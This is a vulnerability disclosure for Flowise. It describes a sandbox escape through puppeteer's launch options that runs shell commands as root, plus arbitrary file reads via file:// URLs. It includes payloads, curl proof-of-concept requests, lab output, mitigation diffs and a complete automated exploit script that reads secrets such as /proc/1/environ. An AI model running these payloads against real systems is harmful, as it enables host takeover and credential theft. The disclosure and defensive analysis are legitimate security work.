Summary
An authenticated Flowise user with access to the /api/v1/node-custom-function endpoint can escape Flowise's vm2 / @flowiseai/nodevm JavaScript sandbox and execute arbitrary OS commands as the Flowise process user - root in the official flowiseai/flowise:* Docker image.
The root cause is the architectural decision in packages/components/src/utils.ts to include 'puppeteer' (and 'playwright') in the availableDependencies allowlist that the NodeVM exposes to user-supplied JavaScript code. Puppeteer's public launch() API accepts caller-controlled executablePath and args values, and internally invokes child_process.spawn(executablePath, args) - outside the vm2 sandbox boundary, since the spawn happens inside puppeteer's host-context code rather than in sandboxed JS. The sandbox successfully blocks a direct require('child_process'); it cannot prevent a tunneled spawn through puppeteer's legitimate API surface.
In flowise-components@3.0.8 a runtime gate was added (process.env.ALLOW_BUILTIN_DEP === 'true') that, by default, hides the broad allowlist from the sandbox. This is an effective mitigation for default >=3.0.8 installs, but:
- All versions in the range
2.0.0 → 3.0.7 (32 published versions, ~2 years of releases) ship with no gate; the chain fires from any authenticated session.
- For
3.0.8 → 3.1.2 (9 published versions), operators who enable ALLOW_BUILTIN_DEP=true for legitimate reasons (custom flows that need puppeteer/playwright/other allowlisted modules) re-expose the same primitive with no security warning in upstream documentation.
- The vulnerable code path (puppeteer in
availableDependencies) is still present in every published version up to and including current HEAD.
The same allowlist exposure additionally permits arbitrary file read on the host via a secondary use of puppeteer (headless: 'new', page.goto('file://<path>'), document.body.innerText extraction). The file-read primitive is functionally equivalent to having fs.readFileSync inside the sandbox.
Empirically confirmed on the official flowiseai/flowise:3.0.5 Docker image (digest sha256:05ca5d644efb37fb68d4c9c9e84c7060a965a71b8ae9fb04fb030a0acf930633) running on an authorized lab host. A successful single-shot run obtained the following from inside the sandbox:
=== id ===
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),...
=== hostname ===
d29ffb698fec
=== uname ===
Linux d29ffb698fec 6.8.0-1055-aws #58~22.04.1-Ubuntu SMP ... x86_64 Linux
=== os-release ===
NAME="Alpine Linux"
ID=alpine
VERSION_ID=3.22.1
CHAIN_OK
The full reproducer is provided at near the end of this document.
Affected product
- npm package
flowise-components (the vulnerable allowlist + sandbox construction lives in dist/src/utils.js).
- npm package
flowise (depends on flowise-components and exposes the API endpoint that drives it).
- All distribution channels:
npm install -g flowise@<version>, the official flowiseai/flowise:<version> Docker image, and the git-cloned source build (pnpm install && pnpm build && pnpm start).
Affected versions - source-inspected, version by version
Each tarball below was downloaded from the public npm registry and inspected directly; the table reflects what's actually shipped, not what's in the upstream HEAD source.
| Version range |
Count |
ALLOW_BUILTIN_DEP gate present? |
'puppeteer' in availableDependencies? |
Default exploitable? |
2.0.0 – 2.0.7 |
8 |
No |
Yes |
Yes |
2.1.0 – 2.1.5 |
6 |
No |
Yes |
Yes |
2.2.0 – 2.2.8 |
9 |
No |
Yes |
Yes |
3.0.0 – 3.0.7 |
8 |
No |
Yes |
Yes |
3.0.8 – 3.0.13 |
6 |
Yes |
Yes |
Only if operator sets ALLOW_BUILTIN_DEP=true |
3.1.0 – 3.1.2 |
3 |
Yes |
Yes |
Only if operator sets ALLOW_BUILTIN_DEP=true |
The full classification table is available at evidence/version-classification.csv in this package.
Vulnerability details - where the bug lives
1. The allowlist - availableDependencies
File: packages/components/src/utils.ts (compiled to node_modules/flowise-components/dist/src/utils.js in distributed installs).
The availableDependencies array declares ~50 npm packages as permitted external require() targets for sandboxed user code. Two of these - 'puppeteer' and 'playwright' - both internally call child_process.spawn(<caller-controlled path>, <caller-controlled args>) through their launch() APIs:
// packages/components/src/utils.ts (excerpt; reproduced from flowise-components@3.1.2/dist/src/utils.js)
exports.availableDependencies = [
// ~50 other modules ...
'puppeteer',
'playwright',
// ...
];
2. The sandbox construction - executeJavaScriptCode
The function that runs user-supplied JavaScript for custom-tool / custom-function nodes constructs a NodeVM with these dependencies wired into require.external.modules:
// packages/components/src/utils.ts (executeJavaScriptCode; abridged)
async function executeJavaScriptCode(code, sandbox, options = {}) {
const { timeout = 300000, useSandbox = true, /* ... */, nodeVMOptions = {} } = options;
const builtinDeps = process.env.TOOL_FUNCTION_BUILTIN_DEP
? defaultAllowBuiltInDep.concat(process.env.TOOL_FUNCTION_BUILTIN_DEP.split(','))
: defaultAllowBuiltInDep;
const externalDeps = process.env.TOOL_FUNCTION_EXTERNAL_DEP
? process.env.TOOL_FUNCTION_EXTERNAL_DEP.split(',') : [];
// ────── The gate (added in 3.0.8). Pre-3.0.8 the ternary was effectively "yes always". ──────
let deps = process.env.ALLOW_BUILTIN_DEP === 'true'
? exports.availableDependencies.concat(externalDeps)
: externalDeps;
deps.push(...defaultAllowExternalDependencies);
deps = [...new Set(deps)];
// Secure wrappers for HTTP libraries (axios, node-fetch) - these are good
// defense-in-depth examples that should be extended to puppeteer/playwright.
const secureWrappers = { /* axios, node-fetch wrappers */ };
const defaultNodeVMOptions = {
console: 'inherit',
sandbox,
require: {
external: {
modules: deps,
transitive: false // intent: block transitive deps
},
builtin: builtinDeps,
mock: secureWrappers // axios/node-fetch get safe mocks
},
eval: false, // intent: block eval-based escapes
wasm: false, // intent: block wasm-based escapes
timeout: timeoutMs
};
const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions };
const vm = new vm2_1.NodeVM(finalNodeVMOptions);
const response = await vm.run(
`module.exports = async function() {${code}}()`,
__dirname
);
// ...
}
The intent of the design is clearly defensive - eval: false, wasm: false, secure wrappers for axios and node-fetch, no child_process in builtin, transitive: false on external modules, the post-3.0.8 gate. The escape route the design overlooks is that puppeteer is itself a wrapper around child_process.spawn, and its public launch() API forwards caller-controlled values directly to that spawn call without validation.
3. The gate added in 3.0.8 (and the legitimate-use loophole)
The line:
let deps = process.env.ALLOW_BUILTIN_DEP === 'true'
? exports.availableDependencies.concat(externalDeps)
: externalDeps;
is the runtime gate. The defaultAllowExternalDependencies constant in the same file is the small list used when the gate is closed:
const defaultAllowExternalDependencies = ['axios', 'moment', 'node-fetch'];
Pre-3.0.8 the ternary did not exist; the broad allowlist was always combined into deps. Post-3.0.8 the broad allowlist is only added if the operator has explicitly set ALLOW_BUILTIN_DEP=true in the Flowise process environment.
ALLOW_BUILTIN_DEP=true is the documented way operators expose availableDependencies to custom-function code. The use cases are legitimate - flows that scrape web pages (puppeteer / playwright), use crypto primitives that aren't in the small default list, etc. There is no security warning in the upstream Flowise documentation that setting this env var also re-opens the sandbox-escape primitive.
4. The attack - minimal JS payload
An authenticated attacker submits this JavaScript as a custom function body via POST /api/v1/node-custom-function:
try {
const puppeteer = module.require("puppeteer");
try {
await puppeteer.launch({
headless: "new",
executablePath: "/bin/sh", // attacker-controlled
args: ["-c", "<arbitrary shell command here>"], // attacker-controlled
ignoreDefaultArgs: true,
timeout: 5000
});
} catch (e) { /* puppeteer rejects /bin/sh as Chrome - expected and irrelevant */ }
return "exploit_dispatched";
} catch (e) {
return "puppeteer_load_failed: " + e.message;
}
Step-by-step:
- The sandbox permits
module.require("puppeteer") because 'puppeteer' is in availableDependencies (and the gate, if present, has been opened by the operator's env var).
- The sandboxed code calls
puppeteer.launch({...}). Inside puppeteer's launch() (in puppeteer's host-context code, not the sandboxed JS), the launcher reads options.executablePath directly and passes it to child_process.spawn(executablePath, args).
child_process.spawn('/bin/sh', ['-c', '<command>']) executes outside the vm2 sandbox - vm2 has no hook to inspect host-module behavior.
- The shell runs as the Flowise Node.js process user. In
flowiseai/flowise:* Docker images this is root.
The wrapper ignoreDefaultArgs: true is necessary to prevent puppeteer from appending Chrome-specific argv flags that would confuse /bin/sh. Puppeteer's subsequent "Could not find Chrome" error is caught and discarded by the attacker payload; the spawn has already happened.
5. Secondary primitive - arbitrary file read via Chromium
Once puppeteer is loadable, the attacker can launch the real Chromium binary and use its file:// URL handling to read arbitrary host files:
const puppeteer = module.require("puppeteer");
const browser = await puppeteer.launch({ headless: "new", args: ["--no-sandbox"] });
const page = await browser.newPage();
await page.goto("file:///etc/passwd", { waitUntil: "load" });
const content = await page.evaluate(() => document.body.innerText);
await browser.close();
return content; // returned in API response body
This is functionally equivalent to fs.readFileSync in the sandbox. The file-read primitive can target any file the Flowise process user can read - /proc/1/environ (container deployment env vars), /usr/src/packages/server/.env (Flowise app secrets), /root/.ssh/* (SSH keys; the Flowise Docker image runs as root), the Flowise SQLite database with stored user credentials, etc.
Importantly, mitigations that lock down the process-spawn primitive (e.g., wrapping executablePath) must also address the file-read primitive - they share the same root cause (puppeteer in the allowlist) but require different fixes (the file-read uses real Chromium and legitimate puppeteer APIs throughout).
Attack vector and pre-conditions
Authentication
The attacker must be authenticated to Flowise. The /api/v1/node-custom-function endpoint requires a valid session JWT cookie issued by /api/v1/auth/login. Empirically verified.
Authorization / role
Any authenticated user role suffices. No admin role is required to call /api/v1/node-custom-function - it is a normal flow-execution endpoint reachable by any logged-in user.
Pre-auth vector - ruled out empirically
The following pre-auth endpoints were probed during the disclosure preparation; all returned 401, 404, or success:false for unauthenticated callers, and the database confirms no users were created by these probes:
POST /api/v1/users/register → HTTP 401
POST /api/v1/users → HTTP 401
POST /api/v1/workspace-user/register → HTTP 401
POST /api/v1/workspace-user → HTTP 401
POST /api/v1/account/register-invite → HTTP 200, success:false (no-op for unauth callers)
POST /api/v1/account/invite → HTTP 401
POST /api/v1/account/signup → HTTP 401
POST /api/v1/auth/signup → HTTP 401
POST /api/v1/account/create-account → HTTP 401
POST /api/v1/invite/accept → HTTP 401
The /api/v1/account/register endpoint that creates the initial admin is gated to one organization per instance ({"statusCode":400,"success":false,"message":"You can only have one organization"}), so it cannot be reused to add additional users.
Realistic attacker profile
- Multi-tenant Flowise deployments: any authenticated user across any workspace can fire the chain. The blast radius is the host container/VM.
- Single-tenant / solo lab deployments: the single admin is the only authenticated user, so the practical risk is mostly limited to credential-theft chains (phishing, stored XSS, session theft) that obtain that user's JWT.
- Internet-exposed Flowise instances with self-registration enabled by invite-link reuse: a single admin invite link, if leaked, gives the recipient full RCE on the host via this chain.
Proof of concept
Minimal one-shot demonstration (the primitive itself)
Run as an authenticated user with a valid JWT cookie in $COOKIES:
TARGET="http://<flowise-host>:3000"
# Dispatch payload - spawn /bin/sh and write proof to /tmp
PAYLOAD='
try {
const puppeteer = module.require("puppeteer");
try {
await puppeteer.launch({
headless: "new",
executablePath: "/bin/sh",
args: ["-c", "(id; hostname; uname -a; date) > /tmp/cve-pwn.txt; echo CHAIN_OK >> /tmp/cve-pwn.txt"],
ignoreDefaultArgs: true,
timeout: 5000
});
} catch (e) { /* expected */ }
return "exploit_dispatched";
} catch (e) { return "puppeteer_load_failed: " + e.message; }
'
curl -s -X POST "$TARGET/api/v1/node-custom-function" \
-H "Content-Type: application/json" \
-H "x-request-from: internal" \
-b "$COOKIES" \
--data "$(jq -n --arg js "$PAYLOAD" '{javascriptFunction:$js}')"
# Expected response: "exploit_dispatched"
# Read the proof file back via the secondary primitive
READBACK='
const puppeteer = module.require("puppeteer");
const browser = await puppeteer.launch({ headless: "new", args: ["--no-sandbox"] });
const page = await browser.newPage();
await page.goto("file:///tmp/cve-pwn.txt", { waitUntil: "load" });
const content = await page.evaluate(() => document.body.innerText);
await browser.close();
return content;
'
curl -s -X POST "$TARGET/api/v1/node-custom-function" \
-H "Content-Type: application/json" \
-H "x-request-from: internal" \
-b "$COOKIES" \
--data "$(jq -n --arg js "$READBACK" '{javascriptFunction:$js}')"
# Expected response body: a JSON-encoded string containing the proof file's content.
Full automated Exploit PoC
A complete exploit PoCis provided at the end of this summary. It handles end-to-end: target fingerprinting via /api/v1/version, gate-status classification, initial-admin provisioning, authentication, payload dispatch, file-read readback, and optional ad-hoc reads via a --also-read flag. It is reproduced verbatim below.
Empirical reproduction transcript
Run against a fresh flowiseai/flowise:3.0.5 Docker container (image digest sha256:05ca5d644efb37fb68d4c9c9e84c7060a965a71b8ae9fb04fb030a0acf930633) on an authorized lab host:
[08:31:20] Phase 0 - fingerprint http://<lab-host>:3000
[08:31:20] OK Target version: 3.0.5
[08:31:20] OK Version 3.0.5 is UNGATED. Exploit fires from any authenticated session.
[08:31:21] Phase 1 - provision admin (idempotent)
[08:31:21] OK Registered admin: probe@lab.test
[08:31:21] Phase 2 - authenticate
[08:31:21] OK JWT cookie captured
[08:31:22] Phase 4 - dispatch puppeteer escape payload
[08:31:22] server response: "exploit_dispatched"
[08:31:24] Phase 5 - read proof file back via page.goto(file://)
--- proof file contents (Phase 5 readback) ---
=== id ===
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),...
=== hostname ===
d29ffb698fec
=== uname ===
Linux d29ffb698fec 6.8.0-1055-aws #58~22.04.1-Ubuntu SMP Thu May 7 22:16:53 UTC 2026 x86_64 Linux
=== date ===
Fri May 22 08:31:23 UTC 2026
=== os-release ===
NAME="Alpine Linux"
ID=alpine
VERSION_ID=3.22.1
CHAIN_OK
Contact for full transcript and proof artifacts.
Impact
Tier 1 - flowise-components 2.0.0 → 3.0.7 (unconditional)
- Arbitrary OS code execution as the Flowise Node.js process user. In the official
flowiseai/flowise:* Docker images this is root inside the container. In npm/Docker-compose installs this is whichever user launched flowise start (often root in default setups, sometimes a dedicated flowise / node user in production deployments).
- Container compromise is direct: the container runs as root, has filesystem write, network egress, and can spawn child processes.
- Host compromise is straightforward in deployments that run the container with
--privileged, --pid=host, mounted Docker socket, or host-volume mounts - which is common for Flowise users who wire up local-file integrations or want flow logs persisted to the host.
- Arbitrary file read of any file the Flowise process can read, returned via the API response:
/etc/passwd, /proc/1/environ (container deployment env vars - often contain FLOWISE_SECRETKEY_OVERWRITE, DB connection strings, LLM provider API keys, OAuth client secrets), /usr/src/packages/server/.env (Flowise's own app secrets), /etc/shadow and SSH private keys when the process runs as root.
- Cloud metadata service access: spawned shell can
curl http://169.254.169.254/... for IAM credentials on AWS / equivalent on GCP / Azure (subject to IMDSv1/v2 configuration).
- Lateral movement: from the spawned shell, the attacker has
curl, wget, nc, language interpreters (Node, often Python) to reach internal services - databases the Flowise instance has access to, internal APIs, Kubernetes API server when deployed in-cluster.
- Theft of stored Flowise credentials: the Flowise SQLite DB at
~/.flowise/database.sqlite holds user-stored API credentials for OpenAI / Anthropic / vector DBs / other third-party services - wired into customer flows and encrypted with a key co-resident in the deployment. The chain allows the encryption key to be read and the credentials decrypted in one go.
- Persistence: with code execution and file write, the attacker can implant backdoors in the Flowise install or in mounted host paths.
This tier is the higher-severity, broader-impact case. It covers 32 published versions over approximately 2 years of releases.
Tier 2 - flowise-components 3.0.8 → 3.1.2 (conditional)
Identical exploitation primitive and identical impact, but the chain only fires when ALLOW_BUILTIN_DEP=true is set in the Flowise process environment.
ALLOW_BUILTIN_DEP is the documented mechanism operators use to expose availableDependencies to custom-function code. Legitimate use cases that set it:
- Flows that scrape web pages using
puppeteer or playwright (the most common reason)
- Flows that use other allowlisted modules outside the small default list (
axios, moment, node-fetch)
- Custom development where the operator wanted pre-3.0.8 behavior restored without code changes
ALLOW_BUILTIN_DEP is currently not documented in Flowise's security documentation as a security-relevant setting. Operators who enable it for one of the use cases above have no warning that doing so re-opens the sandbox-escape primitive. Internal-product security reviews will not flag this configuration because the upstream docs don't.
For default >=3.0.8 deployments where the env var is unset, the chain is not exploitable via this path - module.require('puppeteer') returns MODULE_NOT_FOUND inside the sandbox. Confirmed empirically.
Tier 3 - flowise-components < 2.0.0
Not source-inspected as part of this disclosure. Older versions almost certainly contain the same pattern (predates the gate, predates the larger allowlist redesigns), but the verification table is scoped to >= 2.0.0.
CVSS 3.1 - vector, score, rationale
Tier 1 vector (pre-3.0.8, default-installed)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - 9.6 Critical
| Metric |
Value |
Rationale |
| Attack Vector (AV) |
Network (N) |
Flowise's REST API is the attack surface. Default deployments bind port 3000 on 0.0.0.0 or sit behind a reverse proxy that does. |
| Attack Complexity (AC) |
Low (L) |
Single HTTP request after authentication. No race conditions, no version-specific gadgets, no environment dependencies beyond Flowise running. |
| Privileges Required (PR) |
Low (L) |
An authenticated, lowest-privilege role user. No admin role check on the vulnerable endpoint. |
| User Interaction (UI) |
None (N) |
No victim interaction required. |
| Scope (S) |
Changed (C) |
The vulnerability lies in the JavaScript sandbox layer; successful exploitation gains code execution in the host Node.js process layer with full privileges. The security authority crosses from "sandbox-confined code" to "host process," which is the textbook scope-change case. |
| Confidentiality (C) |
High (H) |
Full host filesystem read, full process memory access, container env vars, stored Flowise credentials, mounted host paths. |
| Integrity (I) |
High (H) |
Arbitrary file write as root; full ability to modify Flowise's own code/config and any mounted host paths. |
| Availability (A) |
High (H) |
Trivial to take down the Flowise process; can wipe the SQLite DB; on privileged containers can affect the host. |
Tier 2 vector (>=3.0.8 with ALLOW_BUILTIN_DEP=true)
Same vector and same score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - 9.6 Critical.
CVSS 3.1 does not have a clean way to model "vulnerable conditional on operator configuration." The CVSS team's guidance is that configuration prerequisites are modeled as the deployed state of the system, not as additional attack-vector requirements: once an operator has set ALLOW_BUILTIN_DEP=true, the system is in a vulnerable configuration, and the attack vector from that state is identical to Tier 1. We score Tier 2 the same as Tier 1 and document the configuration prerequisite separately in the advisory text.
Tier 3 (>=3.0.8 default)
Not exploitable via this chain. No CVSS score applicable. (However, see the "incomplete mitigation" discussion in the Mitigation section below - the vulnerable code path remains present and one env-var change away from exploitable.)
Why not "S:U"?
The boundary being crossed is the vm2 NodeVM sandbox-vs-host-process boundary. vm2's security claim is exactly that sandboxed code cannot execute in the host. The chain demonstrably violates that - sandboxed code causes child_process.spawn in the host, which is the canonical S:C case (security authority changes from sandbox runtime to host process). S:U would be incorrect.
Why "PR:L" rather than "PR:N"?
Pre-auth was ruled out empirically - see the Attack vector section. The chain requires a valid JWT, which requires an authenticated session, which requires either being the initial-admin user or having been invited.
Mitigation
Tier 1 (preferred, minimal-disruption fix)
Remove 'puppeteer' and 'playwright' from availableDependencies in packages/components/src/utils.ts.
Rationale:
- The puppeteer-using and playwright-using nodes elsewhere in Flowise (the WebBrowser/WebScraper/HTMLLoader/etc. nodes) call these modules from the host execution context - they import puppeteer at the Node.js level, not from inside the sandboxed custom-function context. Removing the two names from
availableDependencies therefore does not break any documented Flowise node.
- Operators who legitimately need puppeteer / playwright accessible from custom-function code can re-enable them on a per-deployment basis via the existing
TOOL_FUNCTION_EXTERNAL_DEP env var, with documentation explicitly stating that doing so re-opens the sandbox-escape primitive.
Diff sketch (subject to upstream review):
exports.availableDependencies = [
/* ~50 modules ... */
- 'puppeteer',
- 'playwright',
/* ... */
];
Tier 2 (defense in depth, retain in-sandbox puppeteer)
Wrap puppeteer.launch (and playwright.<browser>.launch) with secure mocks that strip the attacker-controllable knobs, using the same mock pattern already used for axios and node-fetch:
// In executeJavaScriptCode, alongside the existing secureWrappers:
const securePuppeteerMock = {
launch: async (options = {}) => {
// Strip the attacker-controllable knobs that turn launch() into a spawn primitive.
const { executablePath, args, ignoreDefaultArgs, env, ...safeOptions } = options;
return await puppeteer.launch(safeOptions); // launch only with bundled Chrome, default args
},
// pass-through for other puppeteer exports as needed
};
secureWrappers['puppeteer'] = securePuppeteerMock;
// equivalent for playwright
Same approach handles the file-read primitive - once executablePath and args are stripped, attacker control over both spawn arguments is gone, but legitimate web-scraping use cases still work (default Chromium launch with default args).
Caveat: this addresses the process-spawn primitive but not the arbitrary-file-read primitive via page.goto('file://...'). A complete defense-in-depth would also intercept page.goto calls in the wrapper to block file:// URL schemes:
// Wrap newPage() so the returned page rejects file:// navigations
…which is more invasive. Tier 1 (remove from allowlist) sidesteps both primitives in one stroke.
Tier 3 (documentation / operator-side hardening)
If the project elects to keep availableDependencies as-is and rely on the ALLOW_BUILTIN_DEP gate, the security documentation should explicitly state:
Setting ALLOW_BUILTIN_DEP=true exposes packages including puppeteer and playwright to user-supplied JavaScript code in custom-function nodes. These packages permit authenticated users to spawn arbitrary OS processes (via puppeteer.launch's executablePath option) and to read arbitrary files on the Flowise host (via Chromium's file:// URL handling). Setting ALLOW_BUILTIN_DEP=true is therefore equivalent to granting every authenticated user code execution as the Flowise process user. Set this variable only in deployments where every authenticated user is fully trusted to execute arbitrary code on the host.
Appendix A - Full Exploit-PoC (verbatim)
The script below is the lab-verified exploit-PoC used to generate the empirical evidence cited in this advisory. Provided so that the maintainer can reproduce end-to-end against a freshly-pulled flowiseai/flowise:3.0.5 (or any other affected version) without re-deriving the API call sequence.
#!/usr/bin/env bash
# vm2/NodeVM sandbox escape via puppeteer's executablePath argument.
#
# Phases:
# 0. Fingerprint /api/v1/version and classify gate status
# 1. Provision admin (idempotent - handles "already exists" cleanly)
# 2. Authenticate, capture JWT cookie
# 3. Fetch authenticated account profile (proof of valid session)
# 4. Dispatch the puppeteer.launch({executablePath:'/bin/sh',...}) payload -
# spawns /bin/sh inside the container and writes a proof file
# 5. Read the proof file back via puppeteer's `page.goto('file://...')`
# file-read primitive
# 6. (optional) Read additional files via --also-read for impact demo
#
# IMPORTANT
# ---------
#
# Usage:
# ./exploit.sh --target http://HOST:3000
# ./exploit.sh --target ... --also-read /etc/passwd --also-read /proc/1/environ
# ./exploit.sh --target ... --email me@lab.test --password 'Hunter2!'
# ./exploit.sh --target ... --output /tmp/disclosure-evidence.txt
set -uo pipefail
# ---- defaults ----
TARGET=""
EMAIL=""
PASSWORD=""
EMAIL_FROM_FLAG=""
PASSWORD_FROM_FLAG=""
NAME="CVE Probe"
KEEP_ACCOUNT=0
PROOF_REMOTE="/tmp/cve_proof_$(date +%s).txt"
TIMEOUT=20
ALSO_READ=()
OUTPUT_FILE=""
CREDS_FILE="./authcred.txt"
# ---- arg parse ----
while [ $# -gt 0 ]; do
case "$1" in
--target) TARGET="$2"; shift 2 ;;
--email) EMAIL_FROM_FLAG="$2"; shift 2 ;;
--password) PASSWORD_FROM_FLAG="$2"; shift 2 ;;
--name) NAME="$2"; shift 2 ;;
--also-read) ALSO_READ+=("$2"); shift 2 ;;
--output) OUTPUT_FILE="$2"; shift 2 ;;
--creds-file) CREDS_FILE="$2"; shift 2 ;;
--keep-account) KEEP_ACCOUNT=1; shift ;;
-h|--help) echo "Usage: $0 --target <url> [opts]"; exit 1 ;;
*) echo "Unknown arg: $1" >&2; exit 1 ;;
esac
done
[ -z "$TARGET" ] && { echo "ERROR: --target required" >&2; exit 1; }
TARGET="${TARGET%/}"
# ---- credentials resolution ----
if [ -n "$EMAIL_FROM_FLAG" ]; then
EMAIL="$EMAIL_FROM_FLAG"
PASSWORD="${PASSWORD_FROM_FLAG:-ProbePass1!}"
elif [ -f "$CREDS_FILE" ]; then
# shellcheck disable=SC1090
source "$CREDS_FILE"
[ -z "${EMAIL:-}" ] && EMAIL="probe_$(date +%s)@example.com"
[ -z "${PASSWORD:-}" ] && PASSWORD='ProbePass1!'
else
EMAIL="probe_$(date +%s)@example.com"
PASSWORD='ProbePass1!'
fi
WORK=$(mktemp -d -t flowise-final.XXXXXX)
COOKIES="$WORK/cookies"
BODY_FILE="$WORK/lastbody"
CODE_FILE="$WORK/lastcode"
trap 'rm -rf "$WORK"' EXIT
LAST_HTTP_CODE=""
[ -n "$OUTPUT_FILE" ] && exec > >(tee "$OUTPUT_FILE") 2>&1
log() { printf '[%(%H:%M:%S)T] %s\n' -1 "$*"; }
ok() { printf '[%(%H:%M:%S)T] OK %s\n' -1 "$*"; }
warn() { printf '[%(%H:%M:%S)T] WARN %s\n' -1 "$*"; }
err() { printf '[%(%H:%M:%S)T] FAIL %s\n' -1 "$*"; }
hr() { printf -- '----------------------------------------------------------------\n'; }
req() {
local method="$1" path="$2" data="${3:-}"
shift; shift; [ $# -gt 0 ] && shift
local -a curl_args=(
-ksS --max-time "$TIMEOUT" -X "$method"
-H "Content-Type: application/json" -H "x-request-from: internal"
-b "$COOKIES" -c "$COOKIES"
-w "%{http_code}" -o "$BODY_FILE" "$@"
)
[ -n "$data" ] && curl_args+=(--data "$data")
curl "${curl_args[@]}" "$TARGET$path" > "$CODE_FILE" 2>/dev/null || true
LAST_HTTP_CODE=$(cat "$CODE_FILE" 2>/dev/null || echo "000")
}
# Phase 0 - fingerprint
hr; log "Phase 0 - fingerprint $TARGET"
req GET /api/v1/version
[ "$LAST_HTTP_CODE" != "200" ] && { err "Target unreachable: HTTP $LAST_HTTP_CODE"; exit 2; }
VERSION=$(jq -r '.version // empty' < "$BODY_FILE")
ok "Target version: $VERSION"
# Gate classification
IFS=. read -r a b c <<<"${VERSION%%-*}"
IFS=. read -r x y z <<<"3.0.8"
GATED=0
if [ "${a:-0}" -gt "${x:-0}" ] || \
{ [ "${a:-0}" -eq "${x:-0}" ] && [ "${b:-0}" -gt "${y:-0}" ]; } || \
{ [ "${a:-0}" -eq "${x:-0}" ] && [ "${b:-0}" -eq "${y:-0}" ] && [ "${c:-0}" -ge "${z:-0}" ]; }; then
GATED=1
fi
[ "$GATED" -eq 1 ] && warn "$VERSION is GATED - requires ALLOW_BUILTIN_DEP=true" || ok "$VERSION is UNGATED"
# Phase 1 - register admin
hr; log "Phase 1 - provision admin (idempotent)"
log " admin email: $EMAIL"
REG_BODY=$(jq -n --arg n "$NAME" --arg e "$EMAIL" --arg t "pro" --arg c "$PASSWORD" \
'{user:{name:$n,email:$e,type:$t,credential:$c}}')
req POST /api/v1/account/register "$REG_BODY"
save_creds() {
umask 077
cat > "$CREDS_FILE" <<EOF
EMAIL='$EMAIL'
PASSWORD='$PASSWORD'
EOF
}
case "$LAST_HTTP_CODE" in
201|200) ok "Registered admin: $EMAIL"; save_creds ;;
400)
MSG=$(jq -r '.message // ""' < "$BODY_FILE")
echo "$MSG" | grep -qiE "already|exist|one organization" && \
warn "Admin/org exists - will login with current creds" || \
warn "Registration returned 400: $MSG"
;;
*) err "Registration returned HTTP $LAST_HTTP_CODE" ;;
esac
# Phase 2 - login
hr; log "Phase 2 - authenticate as $EMAIL"
LOGIN_BODY=$(jq -n --arg e "$EMAIL" --arg p "$PASSWORD" '{email:$e,password:$p}')
req POST /api/v1/auth/login "$LOGIN_BODY"
[ "$LAST_HTTP_CODE" != "200" ] && { err "Login failed: HTTP $LAST_HTTP_CODE"; exit 3; }
ok "JWT cookie captured"
# Phase 3 - fetch profile
hr; log "Phase 3 - fetch profile"
req GET /api/v1/account/profile
[ "$LAST_HTTP_CODE" = "200" ] && ok "Profile: $(jq -r '.email // .id // "?"' < "$BODY_FILE")"
# Phase 4 - dispatch exploit
hr; log "Phase 4 - dispatch puppeteer escape payload"
log " proof file: $PROOF_REMOTE"
IMPACT_CMD="(echo '=== id ==='; id; echo '=== hostname ==='; hostname; echo '=== uname ==='; uname -a; echo '=== date ==='; date; echo '=== os-release ==='; cat /etc/os-release 2>/dev/null | head -5; echo '=== cgroup ==='; cat /proc/self/cgroup 2>/dev/null | head -3) > $PROOF_REMOTE 2>&1; echo CHAIN_OK >> $PROOF_REMOTE"
DISPATCH_JS=$(cat <<JS
try {
const puppeteer = module.require("puppeteer");
try {
await puppeteer.launch({
headless: "new",
executablePath: "/bin/sh",
args: ["-c", "$IMPACT_CMD"],
ignoreDefaultArgs: true,
timeout: 5000
});
} catch (e) { /* expected */ }
return "exploit_dispatched";
} catch (e) { return "puppeteer_load_failed: " + e.message; }
JS
)
DISPATCH_BODY=$(jq -n --arg js "$DISPATCH_JS" '{javascriptFunction:$js}')
req POST /api/v1/node-custom-function "$DISPATCH_BODY"
DISPATCH_RESP=$(cat "$BODY_FILE")
log " server response: $DISPATCH_RESP"
case "$DISPATCH_RESP" in
*exploit_dispatched*) ok "Payload dispatched" ;;
*MODULE_NOT_FOUND*|*Cannot\ find\ module*) err "puppeteer NOT loadable (gate closed?)" ;;
*) warn "Unexpected response" ;;
esac
sleep 2
# Phase 5 - readback
hr; log "Phase 5 - read proof file back"
READBACK_JS=$(cat <<JS
try {
const puppeteer = module.require("puppeteer");
const browser = await puppeteer.launch({ headless: "new", args: ["--no-sandbox"] });
const page = await browser.newPage();
await page.goto("file://$PROOF_REMOTE", { waitUntil: "load" });
const content = await page.evaluate(() => document.body.innerText);
await browser.close();
return content;
} catch (e) { return "readback_failed: " + e.message; }
JS
)
READBACK_BODY=$(jq -n --arg js "$READBACK_JS" '{javascriptFunction:$js}')
req POST /api/v1/node-custom-function "$READBACK_BODY"
PROOF_CONTENT=$(jq -r '.' < "$BODY_FILE" 2>/dev/null || cat "$BODY_FILE")
# Phase 6 - optional additional reads
ADDITIONAL=""
if [ ${#ALSO_READ[@]} -gt 0 ]; then
hr; log "Phase 6 - additional reads"
for p in "${ALSO_READ[@]}"; do
log " reading: $p"
EXTRA_JS=$(cat <<JS
try {
const puppeteer = module.require("puppeteer");
const browser = await puppeteer.launch({ headless: "new", args: ["--no-sandbox"] });
const page = await browser.newPage();
await page.goto("file://$p", { waitUntil: "load" });
const content = await page.evaluate(() => document.body.innerText);
await browser.close();
return content;
} catch (e) { return "read_failed: " + e.message; }
JS
)
EXTRA_BODY=$(jq -n --arg js "$EXTRA_JS" '{javascriptFunction:$js}')
req POST /api/v1/node-custom-function "$EXTRA_BODY"
EXTRA=$(jq -r '.' < "$BODY_FILE" 2>/dev/null || cat "$BODY_FILE")
ADDITIONAL+="
--- $p ---
$(echo "$EXTRA" | sed 's/^/ /')
"
sleep 1
done
fi
# Results
hr; log "RESULTS"; hr
echo " Target : $TARGET"
echo " Version : $VERSION"
echo " Gate : $([ $GATED -eq 1 ] && echo GATED || echo UNGATED)"
echo " Admin : $EMAIL (password: $PASSWORD)"
echo " Proof : $PROOF_REMOTE"
echo
echo " ─── proof file ───"
echo "$PROOF_CONTENT" | sed 's/^/ /'
[ -n "$ADDITIONAL" ] && { echo; echo " ─── additional ───"; echo "$ADDITIONAL"; }
echo
